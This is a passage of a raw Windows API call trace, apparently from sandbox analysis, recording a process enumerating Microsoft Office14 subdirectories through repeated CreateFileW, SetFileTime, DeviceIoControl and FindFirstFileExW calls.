dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0246.932] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.932] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.932] NtClose (Handle=0x170) returned 0x0 [0246.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.932] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0246.932] GetLastError () returned 0x12 [0246.932] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.932] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.932] GetLastError () returned 0x12 [0246.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.932] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d8190) returned 1 [0246.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.933] GetLastError () returned 0x12 [0246.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd898) returned 1 [0246.933] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9c9f10) returned 1 [0246.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.934] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.934] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.934] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.934] NtClose (Handle=0x1c0) returned 0x0 [0246.934] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.934] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.934] GetLastError () returned 0x12 [0246.934] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.934] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.934] GetLastError () returned 0x12 [0246.934] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db710) returned 1 [0246.934] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.935] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.935] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.935] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.936] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.936] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.936] NtClose (Handle=0x1b4) returned 0x0 [0246.936] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.936] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.936] GetLastError () returned 0x12 [0246.936] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.936] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.936] GetLastError () returned 0x12 [0246.936] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db710) returned 1 [0246.936] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.936] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.936] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.937] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.937] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.937] NtClose (Handle=0x1c0) returned 0x0 [0246.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.937] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.938] GetLastError () returned 0x12 [0246.938] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.938] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.938] GetLastError () returned 0x12 [0246.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db710) returned 1 [0246.938] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9c9f10) returned 1 [0246.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.939] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.939] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.939] NtClose (Handle=0x1b4) returned 0x0 [0246.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.941] GetLastError () returned 0x12 [0246.941] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.941] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.942] GetLastError () returned 0x12 [0246.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db600) returned 1 [0246.942] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9c9f10) returned 1 [0246.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" (normalized: "c:\\program files\\microsoft office\\office14\\addins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.943] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.944] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.944] NtClose (Handle=0x1c0) returned 0x0 [0246.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.944] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.945] GetLastError () returned 0x12 [0246.945] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.945] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.946] GetLastError () returned 0x12 [0246.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.946] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db600) returned 1 [0246.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.947] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.947] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.948] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.948] NtClose (Handle=0x1b4) returned 0x0 [0246.948] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.948] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.949] GetLastError () returned 0x12 [0246.949] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.949] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.951] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.951] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.951] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.951] NtClose (Handle=0x1b4) returned 0x0 [0246.951] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0246.951] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.951] GetLastError () returned 0x12 [0246.951] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0246.951] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.951] GetLastError () returned 0x12 [0246.951] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9dbce8) returned 1 [0246.951] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1612ec8) returned 1 [0246.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0246.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0246.952] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.952] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.952] NtClose (Handle=0x170) returned 0x0 [0246.952] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0246.952] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0246.954] GetLastError () returned 0x12 [0246.954] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.954] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.954] GetLastError () returned 0x12 [0246.954] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9dbd70) returned 1 [0246.954] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.955] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1612ec8) returned 1 [0246.955] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0246.955] GetLastError () returned 0x12 [0246.955] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.955] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.955] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9c9f10) returned 1 [0246.955] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" (normalized: "c:\\program files\\microsoft office\\office14\\borders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.956] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.957] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.957] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.957] NtClose (Handle=0x1c0) returned 0x0 [0246.957] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.957] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.958] GetLastError () returned 0x12 [0246.958] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.959] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.959] GetLastError () returned 0x12 [0246.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0246.959] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" (normalized: "c:\\program files\\microsoft office\\office14\\convert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.961] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.961] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.961] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.961] NtClose (Handle=0x1b4) returned 0x0 [0246.961] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.961] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.962] GetLastError () returned 0x12 [0246.962] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.963] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.964] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.964] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.964] NtClose (Handle=0x1b4) returned 0x0 [0246.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9dbd70) returned 1 [0246.964] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.966] GetLastError () returned 0x12 [0246.966] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0246.966] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.966] GetLastError () returned 0x12 [0246.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9dccd8) returned 1 [0246.966] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9c9f10) returned 1 [0246.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9dbd70) returned 1 [0246.967] GetLastError () returned 0x12 [0246.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0246.967] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" (normalized: "c:\\program files\\microsoft office\\office14\\document parts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.968] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.968] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.968] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.968] NtClose (Handle=0x1c0) returned 0x0 